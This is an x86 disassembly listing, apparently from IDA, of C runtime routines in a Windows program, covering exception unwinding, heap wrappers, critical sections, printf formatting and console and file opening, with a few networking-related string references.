push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_1C], 0
mov eax, dword_4117E0
cmp [ebp+arg_0], eax
jnb short loc_449188
push 0
call sub_4496C1
pop ecx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call sub_448DE1
pop ecx
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_44917F
jmp short loc_449188
sub_449121 endp
; =============== S U B R O U T I N E =======================================
sub_44917F proc near ; CODE XREF: sub_449121+57p
push 0
call sub_449741
pop ecx
retn
sub_44917F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_449121
loc_449188: ; CODE XREF: sub_449121+35j
; sub_449121+5Cj
cmp [ebp+var_1C], 0
jnz short loc_44919B
mov eax, [ebp+arg_0]
push eax
call sub_449571
pop ecx
mov [ebp+var_1C], eax
loc_44919B: ; CODE XREF: sub_449121+6Bj
cmp [ebp+var_1C], 0
jnz short loc_4491AC
call sub_449321
mov dword ptr [eax], 0Ch
loc_4491AC: ; CODE XREF: sub_449121+7Ej
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_449121
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
sub_4491C1 proc near ; CODE XREF: sub_448891+7Bp
; sub_449D01+80p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 91h
jz loc_449293
jg short loc_44921E
cmp ebx, 50h
jl short loc_4491E5
cmp ebx, 59h
jg short loc_4491F6
jmp dword ptr aProtorecvDataS+3[ebx*4]
; ---------------------------------------------------------------------------
loc_4491E5: ; CODE XREF: sub_4491C1+16j
cmp ebx, 1
jl short loc_449263
cmp ebx, 43h
jg short loc_449263
jmp off_40F8EC[ebx*4]
; ---------------------------------------------------------------------------
loc_4491F6: ; CODE XREF: sub_4491C1+1Bj
cmp ebx, 6Ch
jl short loc_449263
cmp ebx, 72h
jg short loc_449207
jmp dword ptr a02i02i02iIIIS+6[ebx*4]
; ---------------------------------------------------------------------------
loc_449207: ; CODE XREF: sub_4491C1+3Dj
cmp ebx, 80h
jl short loc_449263
cmp ebx, 84h
jg short loc_449263
jmp dword ptr aWinsock2_xInit+0Eh[ebx*4]
; ---------------------------------------------------------------------------
loc_44921E: ; CODE XREF: sub_4491C1+11j
cmp ebx, 0A4h
jz short loc_4492A0
cmp ebx, 0A7h
jz short loc_449293
jg short loc_449242
cmp ebx, 9Eh
jz short loc_449293
cmp ebx, 0A1h
jz short loc_449273
jmp short loc_449263
; ---------------------------------------------------------------------------
loc_449242: ; CODE XREF: sub_4491C1+6Dj
cmp ebx, 0B7h
jl short loc_449263
cmp ebx, 0D7h
jg short loc_449259
jmp dword ptr aHandshakeBadPa[ebx*4] ; "Handshake: bad packed (%i)\n"
; ---------------------------------------------------------------------------
loc_449259: ; CODE XREF: sub_4491C1+8Fj
cmp ebx, 718h
jz short loc_449283
jmp short $+2
loc_449263: ; CODE XREF: sub_4491C1+27j
; sub_4491C1+2Cj ...
call sub_449321
mov dword ptr [eax], 16h
jmp loc_449313
; ---------------------------------------------------------------------------
loc_449273: ; CODE XREF: sub_4491C1+7Dj
call sub_449321
mov dword ptr [eax], 2
jmp loc_449313
; ---------------------------------------------------------------------------
loc_449283: ; CODE XREF: sub_4491C1+9Ej
call sub_449321
mov dword ptr [eax], 0Ch
jmp loc_449313
; ---------------------------------------------------------------------------
loc_449293: ; CODE XREF: sub_4491C1+Bj
; sub_4491C1+6Bj ...
call sub_449321
mov dword ptr [eax], 0Dh
jmp short loc_449313
; ---------------------------------------------------------------------------
loc_4492A0: ; CODE XREF: sub_4491C1+63j
call sub_449321
mov dword ptr [eax], 0Bh
jmp short loc_449313
; ---------------------------------------------------------------------------
call sub_449321
mov dword ptr [eax], 11h
jmp short loc_449313
; ---------------------------------------------------------------------------
call sub_449321
mov dword ptr [eax], 9
jmp short loc_449313
; ---------------------------------------------------------------------------
call sub_449321
mov dword ptr [eax], 0Ah
jmp short loc_449313
; ---------------------------------------------------------------------------
call sub_449321
mov dword ptr [eax], 8
jmp short loc_449313
; ---------------------------------------------------------------------------
call sub_449321
mov dword ptr [eax], 18h
jmp short loc_449313
; ---------------------------------------------------------------------------
call sub_449321
mov dword ptr [eax], 1Ch
jmp short loc_449313
; ---------------------------------------------------------------------------
call sub_449321
mov dword ptr [eax], 20h
jmp short loc_449313
; ---------------------------------------------------------------------------
call sub_449321
mov dword ptr [eax], 12h
loc_449313: ; CODE XREF: sub_4491C1+ADj
; sub_4491C1+BDj ...
pop ebx
retn
sub_4491C1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449321 proc near ; CODE XREF: sub_447CF1+1Bp
; sub_449121+80p ...
call sub_44A011
add eax, 8
retn
sub_449321 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+0Ch]
mov eax, [ebp+8]
test dword ptr [eax+4], 6
jnz short loc_4493CE
mov [ebp-8], eax
mov eax, [ebp+10h]
mov [ebp-4], eax
lea eax, [ebp-8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_449368: ; CODE XREF: DMN1:004493C5j
cmp esi, 0FFFFFFFFh
jz short loc_4493DE
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_4493BC
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+0Ch]
test eax, eax
jz short loc_4493BC
js short loc_4493C7
mov edi, [ebx+8]
push ebx
call sub_449411
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_449461
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_44950A
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_4493BC: ; CODE XREF: DMN1:00449375j
; DMN1:00449387j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_449368
; ---------------------------------------------------------------------------
loc_4493C7: ; CODE XREF: DMN1:00449389j
mov eax, 0
jmp short loc_4493E3
; ---------------------------------------------------------------------------
loc_4493CE: ; CODE XREF: DMN1:00449351j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_449461
add esp, 8
pop ebp
loc_4493DE: ; CODE XREF: DMN1:0044936Bj
mov eax, 1
loc_4493E3: ; CODE XREF: DMN1:004493CCj
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_449461
add esp, 8
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449411 proc near ; CODE XREF: DMN1:0044938Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_4084A8
push [ebp+arg_0]
call sub_44E3A1 ; RtlUnwind
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_449411 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+4]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_449452
mov eax, [esp+8]
mov edx, [esp+10h]
mov [edx], eax
mov eax, 3
locret_449452: ; CODE XREF: DMN1:00449441j
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449461 proc near ; CODE XREF: DMN1:0044939Cp
; DMN1:004493D5p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_4084B0
push large dword ptr fs:0
mov large fs:0, esp
loc_44947E: ; CODE XREF: sub_449461:loc_4494B9j
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_4494BB
cmp esi, [esp+1Ch+arg_4]
jz short loc_4494BB
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_4494B9
push 101h
mov eax, [ebx+esi*4+8]
call sub_44950A
call dword ptr [ebx+esi*4+8]
loc_4494B9: ; CODE XREF: sub_449461+44j
jmp short loc_44947E
; ---------------------------------------------------------------------------
loc_4494BB: ; CODE XREF: sub_449461+2Aj
; sub_449461+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_449461 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_4084B0
jnz short locret_4494F3
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_4494F3
mov eax, 1
locret_4494F3: ; CODE XREF: DMN1:004494E1j
; DMN1:004494ECj
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebx
push ecx
mov ebx, offset dword_411200
jmp short loc_449514
; =============== S U B R O U T I N E =======================================
sub_44950A proc near ; CODE XREF: DMN1:004493ADp
; sub_449461+4Fp
push ebx
push ecx
mov ebx, offset dword_411200
mov ecx, [ebp+8]
loc_449514: ; CODE XREF: DMN1:00449508j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_44950A endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
sub_449531 proc near ; CODE XREF: DMN1:00448A57p
push 0
push 1000h
push 0
call dword_411DB0 ; HeapCreate
mov dword_4127F0, eax
test eax, eax
setnz al
and eax, 1
retn
sub_449531 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; ---------------------------------------------------------------------------
mov eax, dword_4127F0
push eax
call dword_411DB4 ; HeapDestroy
mov dword_4127F0, 0
retn
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449571 proc near ; CODE XREF: sub_449121+71p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DB8 ; RtlAllocateHeap
retn
sub_449571 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
push eax
mov eax, [ebp+8]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DBC ; RtlReAllocateHeap
pop ebp
retn
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
sub_4495B1 proc near ; CODE XREF: sub_448071+41p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DC0 ; RtlFreeHeap
retn
sub_4495B1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; ---------------------------------------------------------------------------
push ebx
push esi
mov eax, [esp+0Ch]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DC4 ; RtlSizeHeap
mov ebx, eax
cmp eax, 0FFFFFFFFh
jnz short loc_4495F3
xor esi, esi
jmp short loc_4495F5
; ---------------------------------------------------------------------------
loc_4495F3: ; CODE XREF: DMN1:004495EDj
mov esi, ebx
loc_4495F5: ; CODE XREF: DMN1:004495F1j
mov eax, esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
mov eax, [esp+4]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DC8 ; HeapValidate
test eax, eax
setnz al
and eax, 1
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
sub_449621 proc near ; CODE XREF: sub_449F51+1p
mov eax, off_411210
push eax
call dword_411CC8 ; InitializeCriticalSection
mov eax, off_411214
push eax
call dword_411CC8 ; InitializeCriticalSection
mov eax, off_411218
push eax
call dword_411CC8 ; InitializeCriticalSection
mov eax, off_41121C
push eax
call dword_411CC8 ; InitializeCriticalSection
retn
sub_449621 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
sub_449661 proc near ; CODE XREF: DMN1:00449FB1p
push ebx
mov ebx, 4
loc_449667: ; CODE XREF: sub_449661+2Aj
mov eax, off_411210[ebx*4]
test eax, eax
jz short loc_449687
push eax
call dword_411DCC ; RtlDeleteCriticalSection
mov eax, off_411210[ebx*4]
push eax
call sub_448071
pop ecx
loc_449687: ; CODE XREF: sub_449661+Fj
inc ebx
cmp ebx, 9
jl short loc_449667
mov eax, off_411210
push eax
call dword_411DCC ; RtlDeleteCriticalSection
mov eax, off_411214
push eax
call dword_411DCC ; RtlDeleteCriticalSection
mov eax, off_411218
push eax
call dword_411DCC ; RtlDeleteCriticalSection
mov eax, off_41121C
push eax
call dword_411DCC ; RtlDeleteCriticalSection
pop ebx
retn
sub_449661 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4496C1 proc near ; CODE XREF: sub_448071+4Bp
; sub_448281+28p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4
push ebx
mov ebx, [ebp+arg_0]
cmp off_411210[ebx*4], 0
jnz short loc_449726
push 18h
call sub_449121
pop ecx
mov [ebp+var_4], eax
test eax, eax
jnz short loc_4496EC
push 1
call sub_44A111
pop ecx
loc_4496EC: ; CODE XREF: sub_4496C1+21j
push 3
call sub_4496C1
pop ecx
cmp off_411210[ebx*4], 0
jnz short loc_449714
mov eax, [ebp+var_4]
push eax
call dword_411CC8 ; InitializeCriticalSection
mov eax, [ebp+var_4]
mov off_411210[ebx*4], eax
jmp short loc_44971E
; ---------------------------------------------------------------------------
loc_449714: ; CODE XREF: sub_4496C1+3Bj
mov eax, [ebp+var_4]
push eax
call sub_448071
pop ecx
loc_44971E: ; CODE XREF: sub_4496C1+51j
push 3
call sub_449741
pop ecx
loc_449726: ; CODE XREF: sub_4496C1+12j
mov eax, off_411210[ebx*4]
push eax
call dword_411CCC ; RtlEnterCriticalSection
pop ebx
mov esp, ebp
pop ebp
retn
sub_4496C1 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449741 proc near ; CODE XREF: sub_4480DB+2p
; sub_4482DC+2p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, off_411210[eax*4]
push eax
call dword_411CD0 ; RtlLeaveCriticalSection
retn
sub_449741 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449761 proc near ; CODE XREF: sub_448141+3Dp
; sub_4481E1+27p ...
var_84 = byte ptr -84h
var_50 = dword ptr -50h
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = byte ptr -40h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = word ptr -8
var_6 = byte ptr -6
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 84h
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov [ebp+var_48], 0
mov [ebp+var_44], 0
mov eax, [ebp+arg_0]
mov [ebp+var_38], eax
mov eax, [ebp+arg_4]
mov [ebp+var_34], eax
mov [ebp+var_10], 0
loc_449791: ; CODE XREF: sub_449761+A4j
; sub_449761+264j
mov [ebp+var_4A], 0
lea eax, [ebp+var_48]
push eax
push 7FFFFFFFh
push ebx
lea eax, [ebp+var_4A]
push eax
call sub_44A8D1
add esp, 10h
mov esi, eax
test eax, eax
jg short loc_4497BE
cmp byte ptr [ebx], 0
setnz al
and eax, 1
mov esi, eax
loc_4497BE: ; CODE XREF: sub_449761+50j
cmp [ebp+var_4A], 25h
jnz short loc_4497CD
lea eax, [esi-1]
mov [ebp+var_50], eax
jmp short loc_4497D0
; ---------------------------------------------------------------------------
loc_4497CD: ; CODE XREF: sub_449761+62j
mov [ebp+var_50], esi
loc_4497D0: ; CODE XREF: sub_449761+6Aj
mov eax, [ebp+var_50]
mov edi, eax
test eax, eax
jle short loc_4497F7
push edi
push ebx
mov eax, [ebp+var_34]
push eax
call [ebp+var_38]
add esp, 0Ch
mov [ebp+var_34], eax
test eax, eax
jnz short loc_4497F4
or eax, 0FFFFFFFFh
jmp loc_4499CE
; ---------------------------------------------------------------------------
loc_4497F4: ; CODE XREF: sub_449761+89j
add [ebp+var_10], edi
loc_4497F7: ; CODE XREF: sub_449761+76j
add ebx, esi
cmp [ebp+var_4A], 25h
jz short loc_44980F
cmp [ebp+var_4A], 0
jnz short loc_449791
mov eax, [ebp+var_10]
jmp loc_4499CE
; ---------------------------------------------------------------------------
loc_44980F: ; CODE XREF: sub_449761+9Dj
mov [ebp+var_18], 0
mov [ebp+var_1C], 0
mov [ebp+var_20], 0
mov [ebp+var_24], 0
mov [ebp+var_28], 0
mov [ebp+var_2C], 0
mov [ebp+var_8], 0
jmp short loc_44985A
; ---------------------------------------------------------------------------
loc_449841: ; CODE XREF: sub_449761+10Ej
movzx eax, [ebp+var_8]
mov edx, offset dword_40FAB0
mov ecx, esi
sub ecx, edx
or eax, dword_40FAB8[ecx*4]
mov [ebp+var_8], ax
inc ebx
loc_44985A: ; CODE XREF: sub_449761+DEj
movzx eax, byte ptr [ebx]
push eax
push offset dword_40FAB0
call sub_449E01
add esp, 8
mov esi, eax
test eax, eax
jnz short loc_449841
cmp byte ptr [ebx], 2Ah
jnz short loc_449899
mov eax, [ebp+arg_C]
add eax, 4
mov [ebp+arg_C], eax
mov eax, [eax-4]
mov [ebp+var_C], eax
test eax, eax
jge short loc_449896
mov eax, [ebp+var_C]
neg eax
mov [ebp+var_C], eax
or [ebp+var_8], 4
loc_449896: ; CODE XREF: sub_449761+126j
inc ebx
jmp short loc_4498CF
; ---------------------------------------------------------------------------
loc_449899: ; CODE XREF: sub_449761+113j
mov [ebp+var_C], 0
jmp short loc_4498BE
; ---------------------------------------------------------------------------
loc_4498A2: ; CODE XREF: sub_449761+16Cj
cmp [ebp+var_C], 7FFFFFFFh
jge short loc_4498BD
mov eax, [ebp+var_C]
lea eax, [eax+eax*4]
add eax, eax
movzx edx, byte ptr [ebx]
lea eax, [edx+eax-30h]
mov [ebp+var_C], eax
loc_4498BD: ; CODE XREF: sub_449761+148j
inc ebx
loc_4498BE: ; CODE XREF: sub_449761+13Fj
movzx eax, byte ptr [ebx]
mov edx, off_411898
test word ptr [edx+eax*2], 1
jnz short loc_4498A2
loc_4498CF: ; CODE XREF: sub_449761+136j
cmp byte ptr [ebx], 2Eh
jz short loc_4498DA
or [ebp+var_14], 0FFFFFFFFh
jmp short loc_44992A
; ---------------------------------------------------------------------------
loc_4498DA: ; CODE XREF: sub_449761+171j
inc ebx
mov eax, ebx
cmp byte ptr [eax], 2Ah
jnz short loc_4498F4
mov eax, [ebp+arg_C]
add eax, 4
mov [ebp+arg_C], eax
mov eax, [eax-4]
mov [ebp+var_14], eax
inc ebx
jmp short loc_44992A
; ---------------------------------------------------------------------------
loc_4498F4: ; CODE XREF: sub_449761+17Fj
mov [ebp+var_14], 0
jmp short loc_449919
; ---------------------------------------------------------------------------
loc_4498FD: ; CODE XREF: sub_449761+1C7j
cmp [ebp+var_14], 7FFFFFFFh
jge short loc_449918
mov eax, [ebp+var_14]
lea eax, [eax+eax*4]
add eax, eax
movzx edx, byte ptr [ebx]
lea eax, [edx+eax-30h]
mov [ebp+var_14], eax
loc_449918: ; CODE XREF: sub_449761+1A3j
inc ebx
loc_449919: ; CODE XREF: sub_449761+19Aj
movzx eax, byte ptr [ebx]
mov edx, off_411898
test word ptr [edx+eax*2], 1
jnz short loc_4498FD
loc_44992A: ; CODE XREF: sub_449761+177j
; sub_449761+191j
movzx eax, byte ptr [ebx]
push eax
push offset aHjltzl ; "hjltzL"
call sub_449E01
add esp, 8
test eax, eax
jz short loc_449947
mov eax, ebx
inc ebx
movzx edi, byte ptr [eax]
jmp short loc_449949
; ---------------------------------------------------------------------------
loc_449947: ; CODE XREF: sub_449761+1DCj
xor edi, edi
loc_449949: ; CODE XREF: sub_449761+1E4j
mov eax, edi
mov [ebp+var_6], al
cmp al, 68h
jnz short loc_44995E
cmp byte ptr [ebx], 68h
jnz short loc_44995E
mov [ebp+var_6], 62h
inc ebx
jmp short loc_44998E
; ---------------------------------------------------------------------------
loc_44995E: ; CODE XREF: sub_449761+1EFj
; sub_449761+1F4j
cmp [ebp+var_6], 6Ch
jnz short loc_449970
cmp byte ptr [ebx], 6Ch
jnz short loc_449970
mov [ebp+var_6], 71h
inc ebx
jmp short loc_44998E
; ---------------------------------------------------------------------------
loc_449970: ; CODE XREF: sub_449761+201j
; sub_449761+206j
cmp [ebp+var_6], 0
jnz short loc_44998E
cmp byte ptr [ebx], 49h
jnz short loc_44998E
cmp byte ptr [ebx+1], 36h
jnz short loc_44998E
cmp byte ptr [ebx+2], 34h
jnz short loc_44998E
mov [ebp+var_6], 71h
add ebx, 3
loc_44998E: ; CODE XREF: sub_449761+1FBj
; sub_449761+20Dj ...
lea eax, [ebp+var_84]
push eax
mov eax, ebx
inc ebx
movzx eax, byte ptr [eax]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_44ABB1
add esp, 10h
test eax, eax
jnz short loc_4499CB
lea eax, [ebp+var_84]
push eax
lea eax, [ebp+var_40]
push eax
call sub_44B2F1
add esp, 8
test eax, eax
jge loc_449791
loc_4499CB: ; CODE XREF: sub_449761+24Dj
or eax, 0FFFFFFFFh
loc_4499CE: ; CODE XREF: sub_449761+8Ej
; sub_449761+A9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_449761 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_4499E1 proc near ; CODE XREF: sub_4481E1+6p
cmp dword_411234, 0
jz short loc_4499F0
mov eax, dword_411234
retn
; ---------------------------------------------------------------------------
loc_4499F0: ; CODE XREF: sub_4499E1+7j
push 0
push 0
push 3
push 0
push 3
push 0C0000000h
push offset aConout ; "CONOUT$"
call dword_411DD0 ; CreateFileA
retn
sub_4499E1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
; ---------------------------------------------------------------------------
cmp dword_411238, 0
jz short loc_449A20
mov eax, dword_411238
retn
; ---------------------------------------------------------------------------
loc_449A20: ; CODE XREF: DMN1:00449A18j
push 0
push 0
push 3
push 0
push 3
push 0C0000000h
push offset aConin ; "CONIN$"
call dword_411DD0 ; CreateFileA
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449A41 proc near ; CODE XREF: sub_448281+35p
push ebx
push esi
xor esi, esi
xor ebx, ebx
loc_449A47: ; CODE XREF: sub_449A41+4Ej
cmp off_411370[ebx*4], 0
jnz short loc_449A6D
push 4Ch
call sub_449121
pop ecx
mov esi, eax
test esi, esi
jz short loc_449A91
mov off_411370[ebx*4], esi
mov word ptr [esi], 80h
jmp short loc_449A91
; ---------------------------------------------------------------------------
loc_449A6D: ; CODE XREF: sub_449A41+Ej
mov eax, off_411370[ebx*4]
cmp word ptr [eax], 0
jnz short loc_449A88
mov esi, off_411370[ebx*4]
mov word ptr [esi], 0FF7Fh
jmp short loc_449A91
; ---------------------------------------------------------------------------
loc_449A88: ; CODE XREF: sub_449A41+37j
inc ebx
cmp ebx, 100h
jb short loc_449A47
loc_449A91: ; CODE XREF: sub_449A41+1Cj
; sub_449A41+2Aj ...
mov eax, esi
pop esi
pop ebx
retn
sub_449A41 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449AA1 proc near ; CODE XREF: sub_448281+45p
var_8 = dword ptr -8
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
test ebx, ebx
jnz short loc_449AB8
xor eax, eax
jmp loc_449BDC
; ---------------------------------------------------------------------------
loc_449AB8: ; CODE XREF: sub_449AA1+Ej
mov ax, [ebx]
and ax, 80h
mov [ebp+var_2], ax
mov edi, ebx
mov esi, offset dword_40FAE8
mov ecx, 13h
rep movsd
lea eax, [ebx+48h]
mov [ebx+8], eax
lea eax, [ebx+48h]
mov [ebx+10h], eax
lea eax, [ebx+48h]
mov [ebx+14h], eax
lea eax, [ebx+48h]
mov [ebx+2Ch], eax
lea eax, [ebx+48h]
mov [ebx+18h], eax
lea eax, [ebx+48h]
mov [ebx+30h], eax
lea eax, [ebx+48h]
mov [ebx+1Ch], eax
lea eax, [ebx+28h]
mov [ebx+20h], eax
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 72h
jnz short loc_449B12
mov [ebp+var_8], 1
jmp short loc_449B39
; ---------------------------------------------------------------------------
loc_449B12: ; CODE XREF: sub_449AA1+66j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 77h
jnz short loc_449B23
mov [ebp+var_8], 1Ah
jmp short loc_449B36
; ---------------------------------------------------------------------------
loc_449B23: ; CODE XREF: sub_449AA1+77j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 61h
setnz al
and eax, 1
dec eax
and eax, 16h
mov [ebp+var_8], eax
loc_449B36: ; CODE XREF: sub_449AA1+80j
mov eax, [ebp+var_8]
loc_449B39: ; CODE XREF: sub_449AA1+6Fj
movzx eax, [ebp+var_2]
or eax, [ebp+var_8]
mov [ebx], ax
test word ptr [ebx], 3
jnz short loc_449B7C
push ebx
call sub_4484E1
pop ecx
xor eax, eax
jmp loc_449BDC
; ---------------------------------------------------------------------------
loc_449B58: ; CODE XREF: sub_449AA1+E5j
; sub_449AA1+EDj
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 62h
jnz short loc_449B6D
test word ptr [ebx], 20h
jnz short loc_449B90
or word ptr [ebx], 20h
jmp short loc_449B7C
; ---------------------------------------------------------------------------
loc_449B6D: ; CODE XREF: sub_449AA1+BDj
movzx eax, word ptr [ebx]
and eax, 3
cmp eax, 3
jz short loc_449B90
or word ptr [ebx], 3
loc_449B7C: ; CODE XREF: sub_449AA1+A7j
; sub_449AA1+CAj
mov eax, [ebp+arg_4]
inc eax
mov [ebp+arg_4], eax
cmp byte ptr [eax], 62h
jz short loc_449B58
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 2Bh
jz short loc_449B58
loc_449B90: ; CODE XREF: sub_449AA1+C4j
; sub_449AA1+D5j
cmp [ebp+arg_0], 0
jz short loc_449BBE
mov eax, [ebp+arg_4]
push eax
movzx eax, word ptr [ebx]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44B561
add esp, 0Ch
mov [ebx+4], eax
cmp dword ptr [ebx+4], 0
jge short loc_449BD5
push ebx
call sub_4484E1
pop ecx
xor eax, eax
jmp short loc_449BDC
; ---------------------------------------------------------------------------
loc_449BBE: ; CODE XREF: sub_449AA1+F3j
cmp [ebp+arg_C], 0
jge short loc_449BCF
push ebx
call sub_4484E1
pop ecx
xor eax, eax
jmp short loc_449BDC
; ---------------------------------------------------------------------------
loc_449BCF: ; CODE XREF: sub_449AA1+121j
mov eax, [ebp+arg_C]
mov [ebx+4], eax
loc_449BD5: ; CODE XREF: sub_449AA1+110j
call sub_448381
mov eax, ebx
loc_449BDC: ; CODE XREF: sub_449AA1+12j
; sub_449AA1+B2j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_449AA1 endp
; ---------------------------------------------------------------------------
